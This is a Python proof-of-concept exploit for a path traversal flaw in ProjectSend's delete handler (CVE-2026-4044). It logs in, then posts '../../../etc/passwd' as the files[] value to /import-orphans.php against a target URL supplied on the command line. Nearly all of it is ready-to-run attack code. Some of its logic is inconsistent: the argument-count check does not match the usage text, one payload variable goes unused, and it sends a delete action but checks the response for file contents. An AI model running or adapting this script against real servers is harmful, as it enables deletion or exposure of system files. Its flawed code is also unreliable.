CVE-2026-4044 projectsend Delete Handler 路径遍历漏洞

import requests import sys # CVE-2026-4044 PoC - ProjectSend Path Traversal in Delete Handler # Target: ProjectSend <= r1945 # Component: /import-orphans.php, Delete Handler # Vulnerability: Path traversal via files[] parameter def exploit_path_traversal(target_url, username, password): """ Exploit for CVE-2026-4044 - Path Traversal in ProjectSend Args: target_url: Base URL of vulnerable ProjectSend instance username: Valid high-privilege username password: Password for the account """ session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{target_url}/login.php" login_data = { 'username': username, 'password': password } try: login_response = session.post(login_url, data=login_data, timeout=10) if 'logout' not in login_response.text.lower(): print("[-] Login failed - check credentials") return False print("[+] Login successful") # Step 2: Send malicious request with path traversal payload exploit_url = f"{target_url}/import-orphans.php" # Path traversal payload - attempts to access parent directories # This example attempts to reference ../../../etc/passwd files_data = [ ('files[]', ('../../../etc/passwd', '', 'text/plain')) ] exploit_data = { 'action': 'delete', 'files[]': '../../../etc/passwd' } exploit_response = session.post( exploit_url, data=exploit_data, timeout=10 ) print(f"[*] Exploit request sent to {exploit_url}") print(f"[*] Response status: {exploit_response.status_code}") # Step 3: Analyze response for successful exploitation if exploit_response.status_code == 200: if 'passwd' in exploit_response.text or 'root:' in exploit_response.text: print("[!] VULNERABLE - Path traversal confirmed") return True else: print("[-] Path traversal not confirmed in response") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://target.com admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_path_traversal(target, user, pwd)